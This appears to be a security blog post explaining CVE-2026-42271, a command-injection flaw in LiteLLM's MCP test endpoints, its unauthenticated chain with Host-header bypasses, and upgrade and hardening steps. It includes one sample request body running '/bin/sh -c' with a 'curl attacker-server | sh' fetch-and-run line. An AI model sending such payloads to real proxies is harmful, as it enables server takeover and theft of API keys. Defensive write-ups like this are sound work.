LiteLLM CVE-2026-42271: 1.83.7 isn't enough, upgrade to 1.84.0+

LiteLLM, the popular open-source LLM gateway that funnels a company's entire AI usage through one proxy, has an unauthenticated remote code execution (RCE) chain. CVE-2026-42271 lets an attacker run arbitrary commands on the LiteLLM host, and when chained with a Starlette auth-bypass bug, no login is needed at all. CISA added CVE-2026-42271 to its Known Exploited Vulnerabilities (KEV) catalog on June 8, 2026, confirming exploitation in the wild. It affects LiteLLM 1.74.2 through 1.83.6 and the flaw itself is fixed in 1.83.7 — but closing the auth bypasses that lead to it takes 1.84.0 or later (current release: 1.94.0). If you run a LiteLLM proxy, upgrade now.

LiteLLM is a proxy server (an "AI gateway") that lets you call 100-plus AI services such as OpenAI, Anthropic, and Google through the same OpenAI-compatible format. It has roughly 50,000 GitHub stars, and its README lists adopters including Stripe, Netflix, and Google's ADK. The common pattern is to centralize billing, key issuance, and access control here — which means a bundle of every provider's real API keys sits behind it. Losing control of that gateway is the same as handing over the entire keyring for every AI service hanging off it.

This is also the latest entry in a lineage of severe LiteLLM flaws in 2026. After April's CVE-2026-30623 (command execution via MCP) and May's CVE-2026-42208 (a flaw the U.S. government flagged as "exploited against critical infrastructure"), CVE-2026-42271 now escalates into a full external takeover. The AI gateway itself has become an attacker's battleground.

Am I Affected? LiteLLM Versions and the CVE-2026-42271 Chain at a Glance

If you run a LiteLLM proxy on 1.74.2 through 1.83.6, CVE-2026-42271 affects you. Check your version with pip show litellm (or your Docker image tag). Anything below 1.84.0 — 1.83.7 included — still carries the two authentication bypasses covered later on. Here is what each combination does, on one screen. CVE-2026-42271 alone needs one valid API key, but chaining it with a Starlette bug removes even that.

The foothold is a pair of "MCP server connection test" endpoints that LiteLLM ships: POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list. Send these a configuration that includes a "command to launch," and the proxy runs that command as-is. The details are in the official advisory GHSA-v4p8-mg3p-g94g.

What LiteLLM and MCP Actually Are

LiteLLM exists so that in-house apps and chatbots don't have to write separate code for "connect to OpenAI," "connect to Anthropic," and so on. It consolidates every connection to every AI service into a single proxy server. The app side only needs to look at LiteLLM, which handles which provider to use behind the scenes, who spent how much, and filtering dangerous input. Convenient — but the volume of traffic passing through and keys stored here is enormous.

"MCP," the setting for this incident, is a shared standard (Model Context Protocol) for letting AI use external tools (in-house search, databases, file operations). MCP tools include a "stdio mode" that launches a program on the same machine as the AI and connects to it, and here you can pass "which command to launch" as configuration. The intent was to invoke only fixed launchers like npx or python.

LiteLLM provided preview endpoints to test whether an MCP server setting "connects properly" before saving it. The problem: these preview endpoints took the "command to launch" straight from user input and executed it with no permission check. A feature that should be reserved for administrators was open to any low-privilege user holding just one API key.

Who Wants This Bug, and What Do They Walk Off With

"AI gateway" is an abstract phrase that's easy to dismiss as someone else's problem. So let's name, from the attacker's side, exactly who wants this hole and what lands in their hands the moment it's stepped on. It helps to think of LiteLLM as the tollbooth for a company's AI usage: control the tollbooth, and you see every toll and every passage record.

The people who genuinely want to trigger this hole have clear faces: financially motivated ransomware crews chasing corporate AI budgets and customer data, resellers cashing in stolen API keys on the back of the generative-AI boom, rival firms wanting a peek at a competitor's AI adoption, and disgruntled former staff who hold a grudge against the in-house AI platform. What they want to carry off the proxy is specific: the real OpenAI, Anthropic, and Google API keys billed to each company; the expensive AI usage quotas those keys unlock for unlimited abuse; the customer inquiry logs and contracts fed to in-house chatbots; the connection string to the billing database; and the assorted auth tokens left on the server. The instant CVE-2026-42271 is triggered, all of this passes from the proxy's memory and environment variables straight into their hands.

Reconnaissance is shockingly easy. LiteLLM tends to be run exposed to the internet, and the presence of externally reachable admin panels and APIs has been noted in surveys like runZero's. An attacker either steals API keys via the sibling flaw (the SQL injection CVE-2026-42208 described below) to impersonate a legitimate user, or — with this chain — vaults over authentication entirely and simply lobs a "launch command" at the test endpoint. Once a command runs, they can open a channel to an external command-and-control server, steal cloud temporary credentials, move laterally deeper into the internal network, and plant long-term persistence — in whatever order they like.

CVSS 8.8 — 10.0 when chained — only describes the technical severity of one server being taken. What a company that has woven AI into its operations actually loses is an uncapped AI bill, the trust behind every "our AI is safe" assurance given to customers, and the prospect of its own AI quota being silently repurposed as someone else's attack infrastructure. Teams that handed out keys to low-privilege users and opened LiteLLM widely across the company are precisely the ones built to be punched through from the inside.

How the MCP Command Injection Works (the command, args, and env Fields)

The flaw lived in the two MCP connection-test endpoints. They are for "trying out" a setting before saving, but they accepted the entire MCP server configuration in the request body. A LiteLLM MCP stdio config takes three attacker-controlled fields: command (the binary to launch), args (its arguments), and env (the environment variables passed to that child process). While testing the connection, LiteLLM spawns that command as a child process on the proxy host, with the env you supplied. So the same env mechanism that legitimately injects API keys into an MCP launcher becomes a way to seed an attacker-controlled process environment — another reason to treat every LiteLLM env value, and the proxy's own environment variables, as secrets worth rotating.

{
  "transport": "stdio",
  "command": "/bin/sh",          <- any command
  "args": ["-c", "curl attacker-server | sh"],
  "env": { ... }
}

The fatal part was that these two endpoints had no permission check. The endpoint that "saves" an MCP server config required admin rights (PROXY_ADMIN), yet the preceding "test" endpoint could be hit by anyone with a valid API key — even a low-privilege key handed out internally. Researcher jaydns reported the issue on April 20, 2026, and it was rated CVSS 8.8 (v3.1) / 8.7 (v4.0). The attack vector is AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.

The fix, LiteLLM 1.83.7, changed the two test endpoints to require the same PROXY_ADMIN role as the save endpoint. In other words, it brought "admins only" into alignment — a straightforward fix for a permission design that should have been there from the start.

The Chain That Escalated It to "No Login Needed" — CVE-2026-48710

Up to here the premise was "if you hold one valid API key." On June 1, 2026, offensive-security firm Horizon3.ai proved a chain that removes that premise. The key was CVE-2026-48710, nicknamed "BadHost."

BadHost is a flaw in Starlette (the foundation of many Python APIs) that lets an attacker bypass validation of a request's "Host" field. LiteLLM is built on Starlette, and in environments that bundle version 1.0.0 or below, an attacker can craft the Host field to sail straight past the API key check. Horizon3.ai states plainly that "in LiteLLM deployments whose dependency tree includes Starlette versions ≤ 1.0.0, the authentication mechanism can be bypassed entirely."

Stack the two together and you get: (1) slip past authentication with BadHost, (2) reach the formerly admin-only MCP test endpoints, (3) lob in a command and execute it — all without a login. The result is an unauthenticated server takeover, and the chain is rated CVSS 10.0 (maximum).

One caveat on the numbers. "Starlette 1.0.1 or later" is no longer enough. A sibling defect left in the same URL-reconstruction logic, CVE-2026-54282 (published June 11, 2026), is patched in 1.3.0, and the current PyPI release is 1.3.1 (June 12, 2026). Target 1.3.1 when you upgrade Starlette. And as the next section explains, the LiteLLM side does not stop at 1.83.7 either.

Why 1.83.7 Isn't Enough — Two Auth Bypasses in LiteLLM Itself

Filing the chain under "a Starlette problem" misses half of it. After 1.83.7 shipped, two authentication bypasses were disclosed in LiteLLM's own code, and both are patched in 1.84.0. A proxy sitting on 1.83.7 still carries both.

The first, CVE-2026-49468, is LiteLLM mishandling the Host header in its own code — independent of whether Starlette is patched. At CVSS 9.5 it opens the same door the BadHost chain does: reaching the MCP test endpoints without a login. The part worth pinning down is that the vendor's own blog post (June 1, 2026) says plainly that network-layer mitigations such as Host header normalization are not a substitute for upgrading. "Our load balancer normalizes Host, so we're covered" is a conclusion the maintainers themselves reject. The fix landed in v1.84.0, with further hardening backported to v1.84.3, v1.85.2, v1.86.2, and v1.83.10-stable.patch.3.

The second, CVE-2026-59822, is the second authentication bypass on the MCP surface this article is about. When the MCP endpoints fail OAuth2 passthrough authentication, they fall back to another path instead of rejecting the request. Where CVE-2026-42271 was "the MCP test endpoint has no permission check," this one is "the authentication in front of the MCP endpoints can be skipped entirely." The same MCP doorway had two structurally different holes in it. It too is fixed in 1.84.0, and it too remains open on 1.83.7.

Put simply: 1.83.7 closed the single hole named CVE-2026-42271, not the authentication gaps that lead to it. If you patched on the strength of "upgrade to 1.83.7" guidance — including ours — re-check with pip show litellm and move to 1.84.0 or later (current release: 1.94.0).

Is CVE-2026-42271 Being Exploited? (Now in CISA KEV)

Yes. On June 8, 2026, CISA added CVE-2026-42271 itself to its Known Exploited Vulnerabilities (KEV) catalog, confirming exploitation in the wild and giving U.S. federal civilian agencies a remediation deadline of June 22, 2026. This is a change from the early picture, when the flaw alone had no confirmed abuse. Here is what is verified now versus what is still unclear.

So this is no longer a "patch when convenient" item. CVE-2026-42271 has moved firmly to the "actively exploited" side, the unauthenticated chain is documented, and the product's footprint is large. Read the two halves separately, though: a KEV listing means exploitation was observed somewhere, not that any victim has been named. None has. Waiting for a breach disclosure that may never arrive is not a patching strategy. For context on how the KEV list works, see our CISA KEV dashboard write-up (Japanese).

What Has Happened to LiteLLM in 2026

CVE-2026-42271 is no isolated accident; it is a recurrence of a structural problem the AI-gateway model carries — "passing external input straight through to execution or queries." Here is the main timeline of 2026 so far.

← swipe to move

April's command execution (CVE-2026-30623), May's SQL-injection-to-takeover (CVE-2026-42208 + CVE-2026-42203), and June's unauthenticated takeover (CVE-2026-42271 + CVE-2026-48710). Different techniques, same root. AI gateways frequently treat "a string from outside" as a command or a database query, and when that boundary is built loosely, it becomes an execution engine. Given how deeply such tools get embedded across OSS dependencies, continuous supply-chain auditing is essential. For how to cast that net, see our OSS supply chain scanner roundup as well.

How Exposed Am I? Risk by LiteLLM Deployment Pattern

A quick-reference table to judge how exposed your LiteLLM proxy is. How you deploy it greatly changes what an attacker can take.

Note row two. Even if you think "we're closed to the internal network, so we're fine," if you've handed out low-privilege API keys widely across a department, any one holder of that key — or a single stolen key — is enough to take over the proxy. Don't overlook that a single inside blow lands even without internet exposure.

How to Fix CVE-2026-42271: Upgrade LiteLLM to 1.84.0 or Later

If you run LiteLLM, work through the following in order. Item 1 is urgent; 2–5 within this week. Proxies already on 1.83.7 need item 1 done again. The CISA KEV deadline for federal agencies was June 22, 2026 — a useful benchmark for everyone else too.

Item 5 (restricting outbound traffic) is a defense that works beyond this case. Even if a command runs, the routes for calling back to an external C2 server, stealing cloud temporary credentials, and moving laterally deeper inside are all closed off together. Item 3 (key rotation) is a chore, but since CVE-2026-42271 is now KEV-listed and actively exploited, treat it as close to mandatory rather than "just in case."

What not to do is substitute Host header normalization at a load balancer or WAF for item 1. The maintainers state in their own blog post that network-layer mitigations do not replace upgrading. Perimeter configuration buys time; it does not change the fact that CVE-2026-49468 and CVE-2026-59822 remain present in the version you are running.

One practical snag during all this: after an upgrade or a container restart, the LiteLLM admin UI often greets you with "Authentication Error, Not connected to DB!" This is not the exploit — it means the proxy started without a working database connection, so it cannot validate your virtual keys. Confirm that the DATABASE_URL environment variable (or database_url in config.yaml) points at a reachable Postgres instance, that the DB container is healthy, and that the value survived your image-tag bump. The relevant LiteLLM issue is #18933; the Docker quick-start docs show the expected env layout. Do not paper over it with allow_requests_on_db_unavailable on an internet-facing proxy — running with key validation effectively off, while a command-injection bug is being exploited, is the worst possible combination.

Closing — Don't Let Anyone Walk Through the AI Tollbooth

CVE-2026-42271 drives home a reality: the convenient consolidation point that is an AI gateway can simultaneously become a "keyring vault" and a "command runner." The more you centralize a company's AI usage in one place, the wider the damage when it's breached. Here, an elementary permission gap — a test endpoint that should have been admin-only was open to anyone — overlapped with a separate auth bypass and leapt all the way to maximum severity.

The best an operator can do comes down to three things: (a) keep LiteLLM at 1.84.0 or later (current 1.94.0) and Starlette at 1.3.1 or later, (b) rotate API keys regularly and keep privileges minimal, and (c) avoid carelessly exposing the admin panel and restrict outbound traffic. Assume that the comfort of "we're closed internally" or "we require a login" can crumble easily through a chain like this one.

There is a second lesson in the correction at the top of this article: "a fix shipped" and "the fix you applied is still sufficient" are different claims. LiteLLM 1.83.7 fixed CVE-2026-42271 and nothing that came after it. Left untouched, a version number in a security article — or in an internal patch register — quietly turns into wrong advice.

If you haven't updated yet, review the v1.84.0 release and the advisory, and apply within this week. That includes proxies already on 1.83.7.

References

• ▸NVD - CVE-2026-42271 (published May 8, 2026)
• ▸GitHub Security Advisory - GHSA-v4p8-mg3p-g94g (LiteLLM MCP command injection)
• ▸Horizon3.ai - CVE-2026-42271 Chained with CVE-2026-48710 (unauthenticated RCE proven, June 1, 2026)
• ▸NVD - CVE-2026-48710 (Starlette "BadHost")
• ▸LiteLLM Releases - v1.83.7-stable
• ▸GitHub Security Advisory - GHSA-4xpc-pv4p-pm3w (CVE-2026-49468, auth bypass via Host header injection, fixed in 1.84.0)
• ▸GitHub Security Advisory - GHSA-7488-6r32-c95q (CVE-2026-59822, MCP auth bypass via OAuth2 passthrough fallback, fixed in 1.84.0)
• ▸LiteLLM Blog - Host Header Authentication Bypass (vendor guidance, June 1, 2026)
• ▸Starlette Security Advisory - GHSA-jp82-jpqv-5vv3 (CVE-2026-54282, fixed in 1.3.0)
• ▸LiteLLM Releases - v1.84.0
• ▸PyPI - litellm (currently 1.94.0)
• ▸PyPI - starlette (currently 1.3.1)
• ▸SentinelOne Vulnerability Database - CVE-2026-42271
• ▸runZero - LiteLLM Proxy vulnerabilities: How to find impacted assets
• ▸Miggo - RCE in LiteLLM (CVE-2026-42208)
• ▸LiteLLM Blog - MCP stdio command injection (CVE-2026-30623)
• ▸BerriAI/litellm - GitHub repository